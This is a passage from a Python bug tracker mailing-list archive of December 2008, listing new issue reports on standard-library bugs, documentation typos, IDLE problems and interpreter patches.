Personally, I would say that this is a problem with the interpreter core, 
but 'b' has been an unsigned char since 2000 and fixing it now would 
probably break backwards compatibility of extensions.

----------
assignee: georg.brandl
components: Documentation
messages: 77964
nosy: georg.brandl, vt
severity: normal
status: open
title: 'b' formatter is actually unsigned char

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4682>
_______________________________________

From report at bugs.python.org  Wed Dec 17 15:14:19 2008
From: report at bugs.python.org (Chris Boyle)
Date: Wed, 17 Dec 2008 14:14:19 +0000
Subject: [New-bugs-announce] [issue4683] urllib2.HTTPDigestAuthHandler fails
	on third hostname?
In-Reply-To: <1229523259.96.0.571468029932.issue4683@psf.upfronthosting.co.za>
Message-ID: <1229523259.96.0.571468029932.issue4683@psf.upfronthosting.co.za>


New submission from Chris Boyle <chris at boyle.name>:

The attached script, when edited to fill in valid LiveJournal
credentials (or InsaneJournal, if you change the URL and user list)
fails for me in a very odd way. It fetches the first two URLs quite
happily, and returns a 401 on the third after querying my password
manager about 6 times (always the third, no matter what the user list
is). Rebuilding the opener each time around the loop doesn't fix it.
Recreating the HTTPDigestAuthHandler (and then rebuilding the opener)
*does* fix it. Seems like any given instance of HTTPDigestAuthHandler
fails on the third hostname.

Python package version 2.5.1-5ubuntu5.2. Haven't tried it on newer versions.

----------
components: Extension Modules
files: urllib2-test.txt
messages: 77965
nosy: cmb
severity: normal
status: open
title: urllib2.HTTPDigestAuthHandler fails on third hostname?
type: behavior
versions: Python 2.5
Added file: http://bugs.python.org/file12377/urllib2-test.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4683>
_______________________________________

From report at bugs.python.org  Wed Dec 17 18:59:08 2008
From: report at bugs.python.org (Mark Florisson)
Date: Wed, 17 Dec 2008 17:59:08 +0000
Subject: [New-bugs-announce] [issue4684] sys.exit() exits program when
	non-daemonic threads are still running
In-Reply-To: <1229536748.7.0.859607140582.issue4684@psf.upfronthosting.co.za>
Message-ID: <1229536748.7.0.859607140582.issue4684@psf.upfronthosting.co.za>


New submission from Mark Florisson <markflorisson88 at gmail.com>:

sys.exit() exits the program when non-daemonic threads are still
running, in versions >= 2.5. 

Test included. A demonstration here: http://paste.pocoo.org/show/95766/
(On debian GNU/Linux)

----------
components: None
files: foo.py
messages: 77978
nosy: eggy
severity: normal
status: open
title: sys.exit() exits program when non-daemonic threads are still running
type: behavior
versions: Python 2.5, Python 2.6, Python 3.0
Added file: http://bugs.python.org/file12381/foo.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4684>
_______________________________________

From report at bugs.python.org  Wed Dec 17 20:57:48 2008
From: report at bugs.python.org (Ilan)
Date: Wed, 17 Dec 2008 19:57:48 +0000
Subject: [New-bugs-announce] [issue4685] IDLE will not open (2.6.1 on WinXP
	pro)
In-Reply-To: <1229543868.69.0.302225364257.issue4685@psf.upfronthosting.co.za>
Message-ID: <1229543868.69.0.302225364257.issue4685@psf.upfronthosting.co.za>


New submission from Ilan <idjivre at yahoo.com>:

Hello,

I am new to programming... I installed Python a couple days ago with no
problems. I used it quite a bit since I'm going through loads of tutorials. 
All of a sudden, it shut off, closed and will no longer open. This
problem seems to be common, but none of the suggestions work.

I uninstalled it and re-installed it to no avail. The command line works
however.
Suggestions?

----------
components: IDLE
messages: 77982
nosy: Yo
severity: normal
status: open
title: IDLE will not open (2.6.1 on WinXP pro)
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4685>
_______________________________________

From report at bugs.python.org  Wed Dec 17 21:22:42 2008
From: report at bugs.python.org (David M. Beazley)
Date: Wed, 17 Dec 2008 20:22:42 +0000
Subject: [New-bugs-announce] [issue4686] Exceptions in ConfigParser don't
	set .args
In-Reply-To: <1229545362.85.0.86911392572.issue4686@psf.upfronthosting.co.za>
Message-ID: <1229545362.85.0.86911392572.issue4686@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The ConfigParser module defines a variety of custom exceptions, many of 
which take more than one argument (e.g., InterpolationError, 
NoOptionError, etc.).   However, none of these exceptions properly set 
the .args attribute.   For example, shouldn't NoOptionError be defined 
as follows:

class NoOptionError(Error):
    def __init__(self,option,section):
        Error.__init__(self,"No option %r in section: %r" %
                       (option,section))
        self.option = option
        self.section = section
        self.args = (option,section)      #!! Added this line

This is kind of a minor point, but the missing args means that these 
exceptions don't work properly with programs that need to do fancy kinds 
of exception processing (i.e., catching errors and reraising them in a 
different context or process).

I can't speak for Python 3.0, but it's my understanding that .args 
should always be set to the exception arguments.

Don't ask how I came across this---it was the source of a really bizarre 
bug in something I was playing around with.

----------
components: Library (Lib)
messages: 77983
nosy: beazley
severity: normal
status: open
title: Exceptions in ConfigParser don't set .args
type: behavior
versions: Python 2.1.1, Python 2.1.2, Python 2.2, Python 2.2.1, Python 2.2.2, Python 2.2.3, Python 2.3, Python 2.4, Python 2.5, Python 2.5.3, Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4686>
_______________________________________

From report at bugs.python.org  Thu Dec 18 00:06:19 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 17 Dec 2008 23:06:19 +0000
Subject: [New-bugs-announce] [issue4687] GC stats not accurate because of
	debug overhead
In-Reply-To: <1229555179.58.0.313721223376.issue4687@psf.upfronthosting.co.za>
Message-ID: <1229555179.58.0.313721223376.issue4687@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

With gc.DEBUG_STATS, each GC collection displays the elapsed time.
Unfortunately, this elapsed time includes the debug overhead itself,
most notable the calls to gc_list_size() which can be quite expensive
with lots of objects in the older generation. Consequently, collections
of generation 0 will incorrectly appear as very expensive, while in
non-debug mode they are very cheap.

Here is a patch to get a more useful output, by not including the time
taken in gc_list_size().

----------
components: Extension Modules
files: gc_stats_fix.patch
keywords: patch
messages: 77993
nosy: pitrou
priority: normal
severity: normal
stage: patch review
status: open
title: GC stats not accurate because of debug overhead
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file12385/gc_stats_fix.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4687>
_______________________________________

From report at bugs.python.org  Thu Dec 18 00:41:09 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Wed, 17 Dec 2008 23:41:09 +0000
Subject: [New-bugs-announce] [issue4688] GC optimization: don't track simple
	tuples and dicts
In-Reply-To: <1229557269.64.0.0932795571555.issue4688@psf.upfronthosting.co.za>
Message-ID: <1229557269.64.0.0932795571555.issue4688@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

Split out from #4074, here is a standalone patch which disables GC
tracking for simple tuples (tuples made of atomic objects or immutable
containers, possibly nested). The performance improvement can be
evaluated using tuple_gc_hell.py from #4074.

The patch also adds a function named is_tracked() to the gc module.

----------
components: Interpreter Core
files: tupleopts.patch
keywords: patch
messages: 77995
nosy: pitrou
priority: normal
severity: normal
stage: patch review
status: open
title: GC optimization: don't track simple tuples and dicts
type: performance
versions: Python 2.7, Python 3.1
Added file: http://bugs.python.org/file12387/tupleopts.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4688>
_______________________________________

From report at bugs.python.org  Thu Dec 18 00:57:02 2008
From: report at bugs.python.org (Mark Evans)
Date: Wed, 17 Dec 2008 23:57:02 +0000
Subject: [New-bugs-announce] [issue4689] Typo in PyObjC URL on "GUI
	Programming on the Mac"
In-Reply-To: <1229558222.99.0.886125304786.issue4689@psf.upfronthosting.co.za>
Message-ID: <1229558222.99.0.886125304786.issue4689@psf.upfronthosting.co.za>


New submission from Mark Evans <markmevans at spamcop.net>:

The "GUI Programming on the Mac" page:
  http://www.python.org/doc/2.5.3/mac/node10.html

states that the PyObjC project is at:
  http://pybojc.sourceforge.net

This is incorrect and should be:
  http://pyobjc.sourceforge.net

This appears fixed in the 2.6 and 3.0 documentation.

----------
assignee: georg.brandl
components: Documentation
messages: 78000
nosy: georg.brandl, mevans
severity: normal
status: open
title: Typo in PyObjC URL on "GUI Programming on the Mac"
versions: Python 2.5, Python 2.5.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4689>
_______________________________________

From report at bugs.python.org  Thu Dec 18 01:32:02 2008
From: report at bugs.python.org (Forest Wilkinson)
Date: Thu, 18 Dec 2008 00:32:02 +0000
Subject: [New-bugs-announce] [issue4690] asyncore calls handle_write() on
	closed sockets when use_poll=True
In-Reply-To: <1229560322.27.0.660252722227.issue4690@psf.upfronthosting.co.za>
Message-ID: <1229560322.27.0.660252722227.issue4690@psf.upfronthosting.co.za>


New submission from Forest Wilkinson <forest at users.sourceforge.net>:

With use_poll=True on linux, asyncore calls handle_write() after the
socket has been closed.

More specifically, it looks like asyncore dispatches handle_read() and
handle_close() events between the writable() test and the corresponding
handle_write() call.  If handle_close() calls close(), as asyncore's
default implementation does, the subsequent handle_write() will fail and
generate an EBADF (bad file descriptor) exception.  If handle_error()
also calls close(), as asyncore's default implementation does, this will
mean close() gets called twice on the same socket.

I am attaching example code which demonstrates the problem on Linux
2.6.24 using python 2.5.2, 2.5.3rc1, and 2.6.  In one window, run
pollwritefail.py.  In another window, establish a TCP connection to port
12345 and immediately close it without reading or writing.  This can be
done from within the python interactive interpreter like this:

  import socket
  s=socket.socket( socket.AF_INET, socket.SOCK_STREAM); s.connect(
    ('localhost', 12345)); s.close()

The output from pollwritefail.py will look like this:

  writable() - asyncore asked if we have data to write
  handle_read() - asyncore asked us to read
  handle_close() - asyncore said the remote host closed connection
  close() - we are closing our end of the connection
  handle_write() - asyncore asked us to write
  handle_error() - asyncore exception: (9, 'Bad file descriptor')
  close() - we are closing our end of the connection

IMHO, two things need fixing here:

1. When writable() returns True, the next handler asyncore calls should
be handle_write().  Calling other handlers in between risks invalidating
the writable() return value.

2. After close(), asyncore should not call handle_write(), even if
writable() would return true.

----------
components: Library (Lib)
files: pollwritefail.py
messages: 78003
nosy: forest
severity: normal
status: open
title: asyncore calls handle_write() on closed sockets when use_poll=True
type: behavior
versions: Python 2.5, Python 2.5.3, Python 2.6
Added file: http://bugs.python.org/file12390/pollwritefail.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4690>
_______________________________________

From report at bugs.python.org  Thu Dec 18 03:37:55 2008
From: report at bugs.python.org (Brandon Dixon)
Date: Thu, 18 Dec 2008 02:37:55 +0000
Subject: [New-bugs-announce] [issue4691] IDLE Code Caching Windows
In-Reply-To: <1229567875.32.0.686259683955.issue4691@psf.upfronthosting.co.za>
Message-ID: <1229567875.32.0.686259683955.issue4691@psf.upfronthosting.co.za>


New submission from Brandon Dixon <brandon.s.dixon at gmail.com>:

I made changes to my code and hit F5 to run it through IDLE. The code
appeared to run without any errors, but when I closed everything out and
ran it again it turned out to be full of errors.

I am able to replicate this problem with my code and have seen others
have the same problem, but its unclear when and what causes the caching
to take place. I created a test file that only contained "print hello".
I ran this, made changes and then ran it again. The changes were
reflected, but after testing my code, it still cached. 

Attached is a simple python file I used to test everything out. Run the
test, then comment out the Struct class and run it again. No errors
should appear, but if you close the code, reopen it and then run it
again it will error.

----------
components: IDLE
files: bug-test.py
messages: 78010
nosy: brandon.dixon
severity: normal
status: open
title: IDLE Code Caching Windows
type: behavior
versions: Python 2.5, Python 2.6
Added file: http://bugs.python.org/file12392/bug-test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4691>
_______________________________________

From report at bugs.python.org  Thu Dec 18 09:49:52 2008
From: report at bugs.python.org (Ned Deily)
Date: Thu, 18 Dec 2008 08:49:52 +0000
Subject: [New-bugs-announce] [issue4692] Framework build fails if OS X on
	case-sensitive file system
In-Reply-To: <1229590192.68.0.523671784662.issue4692@psf.upfronthosting.co.za>
Message-ID: <1229590192.68.0.523671784662.issue4692@psf.upfronthosting.co.za>


New submission from Ned Deily <nad at acm.org>:

In the main python Makefile.pre.in, the frameworkinstallextras target, 
only used on OS X, has a bogus "Make" command instead of "$(MAKE)" as in 
other targets.  Traditionally and by default, the OS X root file system is 
case-insensitive, in which case "Make" coincidentally does invoke 
/usr/bin/make.  However, with OS X installed on a case-sensitive fs, the 
command fails.  One-liner patch attached.

----------
components: Build
files: makefile-make.diff
keywords: patch
messages: 78016
nosy: nad
severity: normal
status: open
title: Framework build fails if OS X on case-sensitive file system
versions: Python 2.6, Python 3.0
Added file: http://bugs.python.org/file12393/makefile-make.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4692>
_______________________________________

From report at bugs.python.org  Thu Dec 18 16:52:39 2008
From: report at bugs.python.org (Senthil)
Date: Thu, 18 Dec 2008 15:52:39 +0000
Subject: [New-bugs-announce] [issue4693] Idle for Python 3.0 is default even
	without doing make fullinstall
In-Reply-To: <1229615559.55.0.416085071755.issue4693@psf.upfronthosting.co.za>
Message-ID: <1229615559.55.0.416085071755.issue4693@psf.upfronthosting.co.za>


New submission from Senthil <orsenthil at gmail.com>:

I am not sure, if this is intentional. But if you look at Python 3k and
3.1 installation.

changing mode of /usr/local/bin/pydoc to 755
changing mode of /usr/local/bin/idle to 755
changing mode of /usr/local/bin/2to3 to 755
changing mode of /usr/local/bin/smtpd.py to 755
running install_egg_info
* Note: not installed as 'python'.
* Use 'make fullinstall' to install as 'python'.
* However, 'make fullinstall' is discouraged,
* as it will clobber your Python 2.x installation.
ors at goofy:~/python/py3k$ 

pydoc, idle, 2to3 and smtp.py by default are Py3k's.
Where as python is Py2.x's.

Do you see the difference when one wants to try out python prompt.
- If he types python in the console, he would be greeted by 2.x
- If he types idle, he would be greeted by 3k.

pydoc may cause similar confusion too.
2to3 is okay because it is to be used by 3k,
Not sure about smtp.py

Do you agree this as an issue and if so, how do we address it?
- label idle as idle3.0 and pydoc as pydoc3.0 and make it default with
make fullinstall ?

----------
components: IDLE
messages: 78030
nosy: orsenthil
severity: normal
status: open
title: Idle for Python 3.0 is default even without doing make fullinstall
type: behavior
versions: Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4693>
_______________________________________

From report at bugs.python.org  Thu Dec 18 20:09:58 2008
From: report at bugs.python.org (David M. Beazley)
Date: Thu, 18 Dec 2008 19:09:58 +0000
Subject: [New-bugs-announce] [issue4694] _call_method() in multiprocessing
	documentation
In-Reply-To: <1229627398.43.0.465661733522.issue4694@psf.upfronthosting.co.za>
Message-ID: <1229627398.43.0.465661733522.issue4694@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The documentation for "Proxy Objects" in the multiprocessing module 
describes a method "_call_method" and gives various examples.   The only 
problem is that the method is actually called "_callmethod" (i.e., no 
underscore between "call" and "method").

----------
assignee: georg.brandl
components: Documentation
messages: 78038
nosy: beazley, georg.brandl
severity: normal
status: open
title: _call_method() in multiprocessing documentation
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4694>
_______________________________________

From report at bugs.python.org  Thu Dec 18 21:53:29 2008
From: report at bugs.python.org (David M. Beazley)
Date: Thu, 18 Dec 2008 20:53:29 +0000
Subject: [New-bugs-announce] [issue4695] Bad AF_PIPE address in
	multiprocessing documentation
In-Reply-To: <1229633609.42.0.990434424084.issue4695@psf.upfronthosting.co.za>
Message-ID: <1229633609.42.0.990434424084.issue4695@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

In the "Address Formats" part of the "Listeners and Clients" section of 
the documentation for the multiprocessing module, AF_PIPE addresses are 
described as having this format:

r'\\\\ServerName\\pipe\\PipeName'

However, it is really this:

r'\\ServerName\pipe\PipeName'

Be careful with raw strings.  The documentation is showing the output of 
repr(), not a properly formed raw string. 

I verified this fix on Windows XP.

----------
assignee: georg.brandl
components: Documentation
messages: 78041
nosy: beazley, georg.brandl
severity: normal
status: open
title: Bad AF_PIPE address in multiprocessing documentation
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4695>
_______________________________________

From report at bugs.python.org  Thu Dec 18 21:59:27 2008
From: report at bugs.python.org (Ben Artin)
Date: Thu, 18 Dec 2008 20:59:27 +0000
Subject: [New-bugs-announce] [issue4696] email module does not fold headers
In-Reply-To: <1229633967.92.0.395336973724.issue4696@psf.upfronthosting.co.za>
Message-ID: <1229633967.92.0.395336973724.issue4696@psf.upfronthosting.co.za>


New submission from Ben Artin <ba000484 at artins.org>:

RFC 2822 allows for certain headers to be spread across multiple lines 
(section 2.2.3). In particular, subject, comments, and keywords headers 
behave this way (section 3.6.5). 

I think the email module should unfold such headers. See attached patch.

----------
components: Library (Lib)
files: feedparser.diff
keywords: patch
messages: 78042
nosy: bromine
severity: normal
status: open
title: email module does not fold headers
type: behavior
versions: Python 2.5.3, Python 2.6
Added file: http://bugs.python.org/file12399/feedparser.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4696>
_______________________________________

From report at bugs.python.org  Thu Dec 18 23:38:46 2008
From: report at bugs.python.org (Erik Sternerson)
Date: Thu, 18 Dec 2008 22:38:46 +0000
Subject: [New-bugs-announce] [issue4697] Clarification needed for subprocess
	convenience functions in Python 3.0 documentation
In-Reply-To: <1229639926.42.0.148346295648.issue4697@psf.upfronthosting.co.za>
Message-ID: <1229639926.42.0.148346295648.issue4697@psf.upfronthosting.co.za>


New submission from Erik Sternerson <erik at sternerson.se>:

There are two new convenience functions in the subprocess module since
Python 3.0, getstatusoutput and getoutput. These are UNIX ONLY functions
(as per note "# NB This only works (and is only relevant) for UNIX." in
subprocess.py)

I believe the documentation page
http://docs.python.org/3.0/library/subprocess.html does not reflect this
sufficiently (not sure it does at all).

I suggest a note should be added saying "Availability: UNIX" to the two
functions mentioned.

----------
assignee: georg.brandl
components: Documentation
messages: 78044
nosy: Erik Sternerson, georg.brandl
severity: normal
status: open
title: Clarification needed for subprocess convenience functions in Python 3.0 documentation
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4697>
_______________________________________

From report at bugs.python.org  Thu Dec 18 23:58:54 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 18 Dec 2008 22:58:54 +0000
Subject: [New-bugs-announce] [issue4698] Solaris buildbot failure on trunk
	in test_hostshot
In-Reply-To: <1229641134.61.0.646218726644.issue4698@psf.upfronthosting.co.za>
Message-ID: <1229641134.61.0.646218726644.issue4698@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

The Solaris buildbot seems to fail deterministically on trunk with the
following message.

======================================================================
FAIL: test_logreader_eof_error (test.test_hotshot.HotShotTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File
"/home2/buildbot/slave/trunk.loewis-sun/build/Lib/test/test_hotshot.py",
line 130, in test_logreader_eof_error
    self.assertRaises((IOError, EOFError), _hotshot.logreader, ".")
AssertionError: (<type 'exceptions.IOError'>, <type
'exceptions.EOFError'>) not raised

----------------------------------------------------------------------

(see e.g.
http://www.python.org/dev/buildbot/trunk.stable/sparc%20solaris10%20gcc%20trunk/builds/61/step-test/0
)

----------
components: Extension Modules
messages: 78045
nosy: amaury.forgeotdarc, pitrou
priority: normal
severity: normal
status: open
title: Solaris buildbot failure on trunk in test_hostshot
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4698>
_______________________________________

From report at bugs.python.org  Fri Dec 19 01:28:46 2008
From: report at bugs.python.org (Kurt Mueller)
Date: Fri, 19 Dec 2008 00:28:46 +0000
Subject: [New-bugs-announce] [issue4699] Typo in documentation of "signal"
In-Reply-To: <1229646526.98.0.647202110471.issue4699@psf.upfronthosting.co.za>
Message-ID: <1229646526.98.0.647202110471.issue4699@psf.upfronthosting.co.za>


New submission from Kurt Mueller <mu at problemlos.ch>:

in documentation of "signal"
http://docs.python.org/library/signal.html
---------------------------------
signal.SIG_DFL
This is one of two standard signal handling options; it will simply 
perform the default function for the signal. For example, on most 
systems the default action for SIGQUIT is to dump core and exit, while 
the default action for SIGCLD is to simply ignore it.
---------------------------------
Typo:
SIGCLD
should be
SIGCHLD

----------
assignee: georg.brandl
components: Documentation
messages: 78050
nosy: georg.brandl, yam850
severity: normal
status: open
title: Typo in documentation of "signal"
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4699>
_______________________________________

From report at bugs.python.org  Fri Dec 19 15:02:57 2008
From: report at bugs.python.org (Michael Newman)
Date: Fri, 19 Dec 2008 14:02:57 +0000
Subject: [New-bugs-announce] [issue4700] UnicodeEncodeError in license()
In-Reply-To: <1229695377.92.0.283252964169.issue4700@psf.upfronthosting.co.za>
Message-ID: <1229695377.92.0.283252964169.issue4700@psf.upfronthosting.co.za>


New submission from Michael Newman <michael.b.newman at gmail.com>:

UnicodeEncodeError occurs for Microsoft portion of "license()".
Confirmed on 3 separate Windows XP computers:

Python 3.0 (r30:67507, Dec  3 2008, 20:14:27) [MSC v.1500 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> license()
A. HISTORY OF THE SOFTWARE
==========================

Python was created in the early 1990s by Guido van Rossum at Stichting
Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands
as a successor of a language called ABC.  Guido remains Python's

... skipping to end ...

distribution specified by Microsoft. In particular, you must require
distributors and external end users to agree to terms that protect the
Microsoft Distributable Code at least as much as Microsoft's own
requirements for the Distributable Code. See Microsoft's documentation
(included in its developer tools and on its website at microsoft.com)
for specific details.

Redistribution of the Windows binary build of the Python interpreter
complies with this agreement, provided that you do not:

- alter any copyright, trademark or patent notice in Microsoft's
Hit Return for more, or q (and Return) to quit:
Distributable Code;

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Python30\lib\site.py", line 385, in __call__
    print(self.__lines[i])
  File "C:\Python30\lib\io.py", line 1491, in write
    b = encoder.encode(s)
  File "C:\Python30\lib\encodings\cp437.py", line 19, in encode
    return codecs.charmap_encode(input,self.errors,encoding_map)[0]
UnicodeEncodeError: 'charmap' codec can't encode character '\u2019' in
position
15: character maps to <undefined>

----------
components: Windows
messages: 78057
nosy: mnewman
severity: normal
status: open
title: UnicodeEncodeError in license()
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4700>
_______________________________________

From report at bugs.python.org  Fri Dec 19 16:21:11 2008
From: report at bugs.python.org (=?utf-8?q?Hagen_F=C3=BCrstenau?=)
Date: Fri, 19 Dec 2008 15:21:11 +0000
Subject: [New-bugs-announce] [issue4701] range objects becomes hashable
	after attribute access
In-Reply-To: <1229700071.49.0.411961185177.issue4701@psf.upfronthosting.co.za>
Message-ID: <1229700071.49.0.411961185177.issue4701@psf.upfronthosting.co.za>


New submission from Hagen F?rstenau <hfuerstenau at gmx.net>:

As reported by Dmitry Vasiliev on python-dev, a range object suddenly
becomes hash()able after an attribute access, e.g. by dir().

If I understand correctly, then the reason is that PyRange_Type doesn't
set tp_hash and PyType_Ready is not normally called on the type, but
only e.g. in PyObject_GenericGetAttr.

I don't see any use for range objects being hashable, as they don't even
have meaningful equality defined on them. So I'd recommend making them
unhashable. The attached patch does this and adds a test.

----------
components: Interpreter Core
messages: 78059
nosy: hagen
severity: normal
status: open
title: range objects becomes hashable after attribute access
type: behavior
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4701>
_______________________________________

From report at bugs.python.org  Fri Dec 19 22:33:09 2008
From: report at bugs.python.org (Philip Jenvey)
Date: Fri, 19 Dec 2008 21:33:09 +0000
Subject: [New-bugs-announce] [issue4702] [PATCH] msvc9compiler raises
	IOError when no compiler found instead of DistutilsError
In-Reply-To: <1229722389.12.0.525860035611.issue4702@psf.upfronthosting.co.za>
Message-ID: <1229722389.12.0.525860035611.issue4702@psf.upfronthosting.co.za>


New submission from Philip Jenvey <pjenvey at users.sourceforge.net>:

Python 2.6's new msvc9compiler misbehaves when it can't find a compiler 
(actually a utility of the missing compiler) in its query_vcvarsall() -- 
it raises an IOError instead of a typical distutils error

build tools expect a consistent set of potential exceptions from the 
compiler suites, such as CCompilerError, DistutilsExecError, 
DistutilsPlatformError, etc. Distributions like simplejson, Genshi, etc. 
look for these errors when compiling their optional C extension speedups 
as an indication that there's no compiler, and to fallback to their pure 
python counterparts

An IOError in this case just doesn't make sense

This patch changes them to DistutilsExecErrors. Maybe it should be 
DistutilsPlatformError -- whatever, just not IOError

I think this should be included in 2.6.2

----------
components: Distutils
files: msvc9_ioerror.diff
keywords: patch
messages: 78070
nosy: pjenvey
severity: normal
status: open
title: [PATCH] msvc9compiler raises IOError when no compiler found instead of DistutilsError
type: behavior
versions: Python 2.6
Added file: http://bugs.python.org/file12404/msvc9_ioerror.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4702>
_______________________________________

From report at bugs.python.org  Sat Dec 20 04:08:10 2008
From: report at bugs.python.org (Roger)
Date: Sat, 20 Dec 2008 03:08:10 +0000
Subject: [New-bugs-announce] [issue4703] Syntax error in sample code for
	enumerate in documentation.
In-Reply-To: <1229742490.8.0.685614291877.issue4703@psf.upfronthosting.co.za>
Message-ID: <1229742490.8.0.685614291877.issue4703@psf.upfronthosting.co.za>


New submission from Roger <rdcollum at gmail.com>:

Summary: Sample code for enumerate contains a syntax error. The same
code reads:

>>> for i, season in enumerate(['Spring', 'Summer', 'Fall', 'Winter')]:
...     print(i, season)

Where the parenthesis and square bracket to the left of the colon in the
for line are backwards.  It should read:

>>> for i, season in enumerate(['Spring', 'Summer', 'Fall', 'Winter']):

Where: http://docs.python.org/dev/3.0/library/functions.html

----------
assignee: georg.brandl
components: Documentation
messages: 78082
nosy: georg.brandl, trenholmes
severity: normal
status: open
title: Syntax error in sample code for enumerate in documentation.
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4703>
_______________________________________

From report at bugs.python.org  Sat Dec 20 11:54:00 2008
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 20 Dec 2008 10:54:00 +0000
Subject: [New-bugs-announce] [issue4704] Update pybench for python 3.0
In-Reply-To: <1229770440.73.0.84111592631.issue4704@psf.upfronthosting.co.za>
Message-ID: <1229770440.73.0.84111592631.issue4704@psf.upfronthosting.co.za>


New submission from Mark Dickinson <dickinsm at gmail.com>:

pybench needs to be updated for Python 3.0, in particular to remove use of 
cmp.  Here's a patch, against the py3k branch.

Questions (mainly for Marc-Andr? Lemburg):  

1. Should the version number be bumped for *all* tests, or just for those 
that have changed?  Assuming all tests.

2. Presumably these changes should appear in 3.0.1, and should be 
backported to 2.x. Backport this to 2.6.2?  Or just 2.7?

3. Should I update the sample output in the README file?  I was going to 
just change the PYBENCH 2.0 line to PYBENCH 3.0, but that seems a little 
bit bogus without updating the rest.

----------
components: Demos and Tools
files: pybench3.0.patch
keywords: patch
messages: 78090
nosy: lemburg, marketdickinson
severity: normal
status: open
title: Update pybench for python 3.0
type: behavior
versions: Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12405/pybench3.0.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4704>
_______________________________________

From report at bugs.python.org  Sat Dec 20 14:47:23 2008
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 20 Dec 2008 13:47:23 +0000
Subject: [New-bugs-announce] [issue4705] python3.0 -u: unbuffered stdout
In-Reply-To: <1229780843.45.0.259077303406.issue4705@psf.upfronthosting.co.za>
Message-ID: <1229780843.45.0.259077303406.issue4705@psf.upfronthosting.co.za>


New submission from STINNER Victor <victor.stinner at haypocalc.com>:

I like and I need an "unbuffered" standard output which was provided 
by -u command line option (or PYTHONUNBUFFERED environment variable). 
Current status of -u option in Python3: the option exists and change 
the buffer size (disable buffering) of the stdin, stdout and stderr 
file descriptors.

The problem is in initstdio() which creates files with buffering=-1 
(default buffer) instead of buffering=0 (no buffering) or buffering=1 
(line buffer). But open() enable line buffering of TextIOWrapper is 
buffering=-1 and the raw file is a tty.

Example with py3k trunk:
------------
$ ./python
>>> import sys; sys.stdout.line_buffering
True
$ ./python |cat
>>> import sys; sys.stdout.line_buffering
False
------------

I would like line buffering when stdout is redirected to a pipe and -u 
option is used. initstdio() have to be changed to choose buffering 
option. So it's something like:

Index: Python/pythonrun.c
===================================================================
--- Python/pythonrun.c  (r?vision 67870)
+++ Python/pythonrun.c  (copie de travail)
@@ -810,7 +810,12 @@
 #endif
        }
        else {
-               if (!(std = PyFile_FromFd(fd, "<stdout>", "w", -1, 
encoding,
+               int buffering;
+               if (1)
+                       buffering = 1; /* line */
+               else
+                       buffering = -1; /* default */
+               if (!(std = PyFile_FromFd(fd, "<stdout>", "w", 
buffering, encoding,
                                          errors, "\n", 0))) {
                        goto error;
                }

But "if (1)" have to be replaced "if -u option is used" :-) See 
unbuffered variable of Modules/main.c.

----------
messages: 78102
nosy: haypo
severity: normal
status: open
title: python3.0 -u: unbuffered stdout
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4705>
_______________________________________

From report at bugs.python.org  Sat Dec 20 15:09:52 2008
From: report at bugs.python.org (Zooko O'Whielacronx)
Date: Sat, 20 Dec 2008 14:09:52 +0000
Subject: [New-bugs-announce] [issue4706] try to build a C module,
	but don't worry if it doesn't work
In-Reply-To: <1229782192.75.0.491587462854.issue4706@psf.upfronthosting.co.za>
Message-ID: <1229782192.75.0.491587462854.issue4706@psf.upfronthosting.co.za>


New submission from Zooko O'Whielacronx <zooko at zooko.com>:

